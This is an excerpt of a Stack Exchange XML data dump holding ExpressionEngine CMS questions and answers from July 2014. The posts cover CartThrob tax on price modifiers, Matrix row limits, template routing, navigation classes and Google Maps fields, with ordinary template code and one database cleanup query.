  <row Id="24536" PostTypeId="1" AcceptedAnswerId="24753" CreationDate="2014-07-21T00:22:27.597" Score="0" ViewCount="202" Body="&lt;p&gt;I was wondering whether anyone could shed some light on how Cart Throb handles taxes on price modifiers? Are they tax inclusive or exclusive? We're about to launch and just spotted an anomaly in how taxes are handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're charging a global tax rate (UK VAT @ 20%) on all products, and entering product prices ex VAT. Trying to set up a product with 3 options however suggests that taxes are either being ignored or incorrectly calculated. It could also be a combination of incorrect tags on my part :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Base price: entered as £8 ex VAT&lt;/li&gt;&#xA;&lt;li&gt;Modifiers: entered as £0/£2/£7 - again, ex VAT.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can use this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;&amp;lt;div class=&quot;option&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;packsize&quot;&amp;gt;Options:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;option-input&quot;&amp;gt;&#xA;      {select id=&quot;packsize&quot;}&#xA;      &amp;lt;option {selected} value=&quot;{option_value}&quot; data-price=&quot;{price:plus_tax}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;      {/select}&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;data-price&lt;/code&gt; attribute shows the price uplift with tax included. This suggests the modified prices should be entered ex. VAT. When I add to the basket though, VAT is added to the base price only and not the uplift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a price with £8 base + £7 modifier only has tax on the £8 giving a total of £16.60 instead of £18. My cart field is using &lt;code&gt;{item_price:plus_tax}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had experience with this?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-07-29T23:06:03.733" Title="Tax handling on Cart Throb price modifiers" Tags="|cartthrob|tax|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24537" PostTypeId="2" ParentId="24373" CreationDate="2014-07-21T00:49:10.420" Score="1" Body="&lt;p&gt;Unfortunately there aren't any EE hooks which run when a channel or channel field is deleted, so there is no easy way for Store to clean these up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do it yourself in the database using a SQL query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from exp_store_products&#xA;where entry_id not in (&#xA;    select entry_id from exp_channel_titles&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-07-21T00:49:10.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24538" PostTypeId="1" CreationDate="2014-07-21T02:33:12.850" Score="1" ViewCount="31" Body="&lt;p&gt;I have Moblog running as I'd hoped except how to pull the sender's name from the email. Since the subject line automagically becomes {title}, it seems it should be as simple, but I can't find documentation anywhere, and am drawing a blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jo&lt;/p&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2014-07-23T19:58:24.240" Title="Moblog parameter to pull sender from email?" Tags="|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24540" PostTypeId="1" CreationDate="2014-07-21T05:46:53.883" Score="0" ViewCount="79" Body="&lt;p&gt;I looked at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/comment/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; and it seemed to me that the way comments tag do pagination is the same as channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries&#xA;    entry_id=&quot;{embed:entry_id}&quot;&#xA;    {if embed:limit}limit=&quot;{embed:limit}&quot;{/if}&#xA;    paginate=&quot;hidden&quot;&#xA;    {if embed:sort}sort=&quot;{embed:sort}&quot;{/if}&#xA;}&#xA;...&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tried accessing the page that displays the comments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.com/foo/750/abc/P10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;segment 2 = entry_id&lt;br&gt;&#xA;segment 3 = title&lt;br&gt;&#xA;segment 4 = pagination item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Functions::remove_double_slashes() in .../system/expressionengine/modules/comment/mod.comment.php on line 3324&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2014-07-22T04:37:38.217" LastActivityDate="2014-07-22T04:37:38.217" Title="Comment Pagination Error" Tags="|pagination|comments|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24542" PostTypeId="2" ParentId="24512" CreationDate="2014-07-21T08:41:48.970" Score="2" Body="&lt;p&gt;There are two filters in play here, especially if you slightly re-phrase your last sentence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Give me all of the shops from category 2 &lt;strong&gt;and&lt;/strong&gt; that are a parent to an open offer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First of all, you need the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Categories filter&lt;/strong&gt;&lt;/a&gt;. And because you're just after a single category, you can use the native category=&quot;&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you need the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#relationships&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Relationships filter&lt;/strong&gt;&lt;/a&gt; for the second half. This is slightly trickier. The Relationships filter, like the Categories filter, accepts IDs. With the Categories filter, you're selecting which category to filter by; with the Relationships filter, you're selecting &lt;em&gt;entries&lt;/em&gt; rather than categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in your case, you're not selecting entries. You're after a &lt;em&gt;pre-defined list of entries&lt;/em&gt;: &quot;open offers&quot;. So, what you're really after is a way to populate the Relationships parameter with a pipe-separated list of entry_ids: the open offers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note: you're saying &quot;a parent to an open offer&quot;, but they way you described the relationship, &lt;em&gt;an offer is a parent to a shop&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Offer entries have a relationship field which links it back to the shop entry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the Relationships filter, you therefore need to define the parent:&lt;em&gt;field_name&lt;/em&gt; parameter, where the &lt;em&gt;field_name&lt;/em&gt; is the Relationship field in the Offers channel, and the parameter contains Offer entry IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a parameter string, it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results channel=&quot;shop&quot; category=&quot;2&quot; parent:field_name=&quot;1|2|3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where &lt;code&gt;field_name&lt;/code&gt; should be replaced with the actual relationship field name, and &lt;code&gt;1|2|3&lt;/code&gt; is the pipe separated list of &quot;open offer&quot; entry IDs.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-21T08:41:48.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24543" PostTypeId="1" CreationDate="2014-07-21T09:53:19.113" Score="0" ViewCount="30" Body="&lt;p&gt;I am using EE v2.5.5 and Matrix v2.5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Matrix, I'm able to add up to 50 rows without problems. When I add more than 50 rows and click the Submit button, I am returned to the entry edit form again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a 50 row limit on Matrix fields?&lt;/p&gt;&#xA;" OwnerUserId="2423" LastEditorUserId="28" LastEditDate="2014-07-21T17:01:08.740" LastActivityDate="2014-07-21T17:01:08.740" Title="Matrix: Not able to add more than 50 rows" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24544" PostTypeId="1" AcceptedAnswerId="24546" CreationDate="2014-07-21T10:09:58.107" Score="0" ViewCount="22" Body="&lt;p&gt;I am  having a bit of an issue with images not displaying (I'm on EE 2.9), even though it looks as if everything is alright in the source code. The page in question is www.westeros.org/ASoWS/Gallery/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue also persists internally -- if I go to this channel and look at the entries, the image thumbnails do not show up in the designated field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't figure out what would be stopping them from appearing -- if I paste in any of the image urls in the source of the page, they're clearly there.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-07-21T12:48:22.727" Title="Images not appearing on page or in channel when edited" Tags="|image-galleries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24545" PostTypeId="1" CreationDate="2014-07-21T11:17:22.303" Score="0" ViewCount="110" Body="&lt;p&gt;The project I'm working on is multi-lingual, there is a large member sign-up campaign planned and it is necessary to show statistics, and ideally also a map with marker clusters, to display where the members are coming from. I've tackled the map part without a problem using Google Maps by Objective HTML but I'm running into problems trying to figure out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- how to have the locations translated so that, for example, in english you read New York, USA but in portuguese you get Nova Iorque, EUA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- what method to use so that I can display a list of all the countries which have members on the site and the number of members per country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- it's important to be able to search the members by region/country but I can't get the search form to work properly, do I need dedicated lat/long fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this all comes down to how I setup the Google Maps field type, if I have dedicated fields for lat/long and the formatted address or not. I'll be using Publisher for the translations but I'm still not sure what's the best field setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, let's say there are hundreds of markers to display on the map, the clusters take care of that visually, but how do you cope with the memory usage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be using EE 2.9, Zoo Visitor for the registrations, Publisher, Low Search and Google Maps amongst others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help any input is welcome!&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-07-21T18:45:41.777" Title="Correct setup for Google Maps in multi-language site" Tags="|google-maps-for-ee|multi-language|google-maps|memory-limit|objective-html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24546" PostTypeId="2" ParentId="24544" CreationDate="2014-07-21T12:48:22.727" Score="1" Body="&lt;p&gt;The protocol of the images is wrong. It should be &lt;code&gt;http://&lt;/code&gt;, but you're using &lt;code&gt;http:/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#create-edit-upload-destination&quot; rel=&quot;nofollow&quot;&gt;File Upload Preferences&lt;/a&gt; of the images in question. Probably the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#url-of-upload-directory&quot; rel=&quot;nofollow&quot;&gt;URL of Upload Directory&lt;/a&gt; is set wrong.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-21T12:48:22.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24548" PostTypeId="1" CreationDate="2014-07-21T12:57:48.003" Score="0" ViewCount="192" Body="&lt;p&gt;I am using the latest version of Freeform and trying to populate a multi-select with a relationship field of entries. Here is the code, at the moment it is only outputting the first result and not looping properly. Has anyone tried this before and can therefore advise?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_documents_for_request}&#xA;            &amp;lt;select id=&quot;{selected_documents:title}&quot; name=&quot;{selected_documents:title}&quot; multiple=&quot;multiple&quot;&amp;gt; &#xA;                  {options}&#xA;                      &amp;lt;option value=&quot;{related_documents_for_request:selected_documents:title}&quot;{selected}&amp;gt;{related_documents_for_request:selected_documents:title}&amp;lt;/option&amp;gt;&#xA;                  {/options}&#xA;             &amp;lt;/select&amp;gt;&#xA;{/related_documents_for_request}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3379" LastEditorUserId="343" LastEditDate="2014-07-21T13:04:04.387" LastActivityDate="2019-04-09T12:01:05.147" Title="Freeform Multiselect populated by relationship field" Tags="|solspace-freeform|relationships|grid|multiselect|options|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24549" PostTypeId="2" ParentId="24545" CreationDate="2014-07-21T13:04:06.667" Score="1" Body="&lt;p&gt;If the city/country is the only thing you are translating it might be easier to use a 3rd party service to translate them, such as geonames.org. e.g. &lt;a href=&quot;http://api.geonames.org/search?name=moscow&amp;amp;country=RU&amp;amp;featureCode=PPLC&amp;amp;maxRows=10&amp;amp;type=rdf&amp;amp;username=demo&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://api.geonames.org/search?name=moscow&amp;amp;country=RU&amp;amp;featureCode=PPLC&amp;amp;maxRows=10&amp;amp;type=rdf&amp;amp;username=demo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The demo name has reached its API limit, here is what the response looks like: &lt;img src=&quot;https://i.stack.imgur.com/SbIqD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-07-21T13:04:06.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24551" PostTypeId="1" CreationDate="2014-07-21T14:19:53.697" Score="2" ViewCount="154" Body="&lt;p&gt;Recently upgraded an older Expression Engine site from 1.x.x to 2.7.3, and looking to upgrade to 2.9.0 and optimize some of the slower code.  One of the issues I'm working on is getting rid of a lot of embed tags, which were used in the old site to embed navigation, using embed variables to set classes to display active links in the embedded navigation template.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for some general guidance on Expression Engine best practices to do something like that - with the goal of finding a solution that can do it with the least queries and load the fastest, even when dealing with a lot of conditionals in the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want to happen: when on site/about, the navigation menu will be rendered like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a class=&quot;selected&quot; href=&quot;{site_url}about&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}about/community&quot;&amp;gt;Community&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}about/people&quot;&amp;gt;Directory&amp;lt;/a&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is that the &quot;selected&quot; class changes depending on the template that's being loaded to let users know where they are in the site..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've considered the following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use preparse in Low Variables: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template: site/about&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:single var=&quot;lv_subnav_about&quot; preparse:selected=&quot;about&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Variable: lv_subnav_about&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if selected == 'about'} class=&quot;selected&quot;{/if}  href=&quot;{site_url}about&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if selected == 'community'} class=&quot;selected&quot;{/if}  href=&quot;{site_url}about/community&quot;&amp;gt;Community&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a {if selected == 'people'} class=&quot;selected&quot;{/if}  href=&quot;{site_url}about/people&quot;&amp;gt;People: Directory&amp;lt;/a&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Revising the scheme to use segments instead of passing variables to&#xA;accomplish the same goal.  This would still probably require the&#xA;same number of conditional statements in the embed/low variable, but&#xA;would using segments help at all, performance-wise?&lt;/li&gt;&#xA;&lt;li&gt;Using the new (in EE 2.8.x) layout variables to do the same thing,&#xA;i.e. {layout=&quot;site/normal&quot; selected=&quot;about&quot;}.  This would have&#xA;another advantage in that I could create layouts that take care of&#xA;other embeds I'm trying to get rid of - header/footer/sidebar/etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you have any ideas on what the best way to accomplish this goal might be, even when dealing with much more complex navigation (passing multiple variables to indicate category and page, etc) - thanks!&lt;/p&gt;&#xA;" OwnerUserId="3380" LastActivityDate="2014-07-22T18:35:58.223" Title="Best practices: Location-aware Navigation in EE2?" Tags="|ee2|low-variables|parse-order|segments|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24552" PostTypeId="2" ParentId="24543" CreationDate="2014-07-21T15:20:18.377" Score="1" Body="&lt;p&gt;You may already be aware of this, but you could try to switch over to Grid, the native built-in EE fieldtype. They do the same job with very little difference. And Grid might not have that 50 entry limit.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/introducing-grid-new-in-expressionengine-2.7&quot; rel=&quot;nofollow&quot;&gt;Introducing Grid, New in ExpressionEngine 2.7 - EllisLabs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;Grid Field - ExpressionEngine User Guide&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3177" LastActivityDate="2014-07-21T15:20:18.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24553" PostTypeId="1" AcceptedAnswerId="24572" CreationDate="2014-07-21T16:48:58.820" Score="1" ViewCount="59" Body="&lt;p&gt;I've written an extension to do some additional processing on submitted form content within the ExpressionEngine publish page, however there is a scenario where I want to return an error to the user if a value they have specified is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this with an extension, some function I can call to return a validation error but retain the form input so the user isn't forced to start again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously I could just use 'show_error' but this seems a little brutal and not what would be expected. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-07-22T15:26:40.077" Title="Return validation error to publish form from extension" Tags="|error|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24554" PostTypeId="1" CreationDate="2014-07-21T16:55:09.807" Score="0" ViewCount="89" Body="&lt;p&gt;I've got a page: /events/ that I'd like to pass year and month into: /events/2014/07/ ...and access them ({segment_1}, etc) in the template being used for that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I go to the url &lt;a href=&quot;http://host.com/events/2014/07&quot; rel=&quot;nofollow&quot;&gt;http://host.com/events/2014/07&lt;/a&gt;, I get a 404 error because it's apparently looking for a subpage named '2014' with a subpage named '07'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding posting the code:&#xA;Why? This doesn't seem to be a code-related issue because I can't even get EE to execute the code in question. The 'events' page is just my standard page template (master/standard). All the pages, for now, use one template. So, /events is using the 'master/standard' template. In it I include 'widgets/calendar' but I want to pass in {segment_2} and {segment_3}. EE won't let me because it doesn't go to the events page. It tries to find a page named &quot;07&quot; under a page named &quot;2014&quot; under the events page. None of this is being handled in the code yet, so I'm not sure what good it would serve to post a bunch of irrelevent EE code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I tell EE to just stop at the events page and use the rest of the url as segments?I know I'm missing some basic EE logic but I'm stumped.&lt;/p&gt;&#xA;" OwnerUserId="3382" LastEditorUserId="3382" LastEditDate="2014-07-21T17:30:42.700" LastActivityDate="2015-03-19T05:02:33.013" Title="EE reading path variables as subfolders/subpages and giving 404 error. What am I missing?" Tags="|segments|path|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24555" PostTypeId="2" ParentId="24551" CreationDate="2014-07-21T16:58:53.167" Score="1" Body="&lt;p&gt;I personally always take the route of using segment conditionals to set my active state CSS class. It's easy to code and manage since it's handled in one template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a {if segment_1 == 'about'}class=&quot;selected&quot;{/if}  href=&quot;&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-07-22T18:35:58.223" LastActivityDate="2014-07-22T18:35:58.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24557" PostTypeId="2" ParentId="24554" CreationDate="2014-07-21T17:58:20.930" Score="0" Body="&lt;p&gt;If you are using the full version of expressionengine, you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;routing&lt;/a&gt; to change how your template handles segments. Otherwise, I believe you would need to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow&quot;&gt;turn strict url's off&lt;/a&gt; in the admin.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-21T17:58:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24558" PostTypeId="1" CreationDate="2014-07-21T18:30:46.330" Score="0" ViewCount="179" Body="&lt;p&gt;I have a project that requires online equipment rental/tracking, including booking, availability calendars, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are options out there that are non EE-based such as FreshService (&lt;a href=&quot;http://freshservice.com&quot; rel=&quot;nofollow&quot;&gt;http://freshservice.com&lt;/a&gt;) or Booked (&lt;a href=&quot;http://sourceforge.net/projects/phpscheduleit/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/phpscheduleit/&lt;/a&gt;), but it would be nice to have something that can be just dropped into our EE install with minimal fuss. Could Solspace's Calendar fit the bill?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any plugin recommendations? I searched on devot:ee and nothing I found looked like a good fit. We are running the latest version of EE (2.8.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2014-07-21T18:30:46.330" Title="3rd party module/plugin for managing equipment rental/tracking" Tags="|ee2|add-on|solspace-calendar|addons|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24559" PostTypeId="2" ParentId="24545" CreationDate="2014-07-21T18:45:41.777" Score="0" Body="&lt;p&gt;I have come up with a few solutions but I still welcome your input since these may prove to be ineffective once I test them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- for the translations I'll use a mixture of solutions depending on the objective of the field, for some I'll use a dedicated field for the formatted address so that the users can correct any debris that Google sends in the address, in others I'll look at the options Brian left here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- I came up with a solution using Low Search and its shortcuts, I'll have a shortcut to search for each country name, I can feed the country list straight to the database so no problem there. I considered using categories for each country instead of a Google Maps field but I prefer the member to enter a town on Google Maps which gives me more flexibility for other uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- I've managed to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-07-21T18:45:41.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24560" PostTypeId="2" ParentId="24472" CreationDate="2014-07-21T21:35:56.100" Score="0" Body="&lt;p&gt;Have you tried setting &quot;minimum points&quot; to something other than 0? You can find it in the field settings of your Google Maps channel field. &lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-07-21T21:35:56.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24561" PostTypeId="2" ParentId="24036" CreationDate="2014-07-21T22:19:12.663" Score="3" Body="&lt;p&gt;Thanks for the heads up, Robson.  I'm pretty sure they're running into this bug:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20414&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20414&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fixed up for the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those weird queries can happen if the query cache isn't cleared out when it should be.&lt;/p&gt;&#xA;" OwnerUserId="3156" LastActivityDate="2014-07-21T22:19:12.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24562" PostTypeId="2" ParentId="24533" CreationDate="2014-07-21T22:50:56.430" Score="1" Body="&lt;p&gt;One way to approach this would be to use a plugin (or create a plugin) to detect whether user is coming from mobile device (via screen size or user-agent sniffing). Such plugin would provide you with conditional statements to use in your templates to render specific view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, I wouldn't recommend this approach, it's an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example plugin:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-mobile-device-detect&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-mobile-device-detect&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2534" LastActivityDate="2014-07-21T22:50:56.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24563" PostTypeId="2" ParentId="24554" CreationDate="2014-07-22T01:48:35.253" Score="1" Body="&lt;p&gt;Probably you're getting a 404 because the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag is trying get all entries of the year 2014 and month 07. If you need to use years, months and days as segments, you gonna need to set &lt;code&gt;dynamic&lt;/code&gt; parameter to &lt;code&gt;no&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;URL Schematic&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-22T01:48:35.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24565" PostTypeId="2" ParentId="21880" CreationDate="2014-07-22T03:50:10.977" Score="0" Body="&lt;p&gt;I agree the routing documentation truly is pretty terrible. No clear examples to even get a person started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had a similar situation to yours that I just resolved. I have a product listing page and then an individual product page. My template group is products/index for the listing page, and products/view for the individual product page. So to view a product the default url would have been products/view/[product_name], but I wanted it to be products/[product_name]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Template Route Manager, I added this rule next to my products/view template: products/{product} and selected 'yes' for segment required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that if the {product} variable is not in the url, that rule is not used and my products/index template takes over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason EE doesn't like certain variable names (the {product} part) in the template routing manager and will throw errors on the front end. I found this through experimentation, so I don't know what the deal is there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. &lt;/p&gt;&#xA;" OwnerUserId="3384" LastActivityDate="2014-07-22T03:50:10.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24568" PostTypeId="2" ParentId="24515" CreationDate="2014-07-22T13:18:17.840" Score="0" Body="&lt;p&gt;You could potentially use a custom field also.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-07-22T13:18:17.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
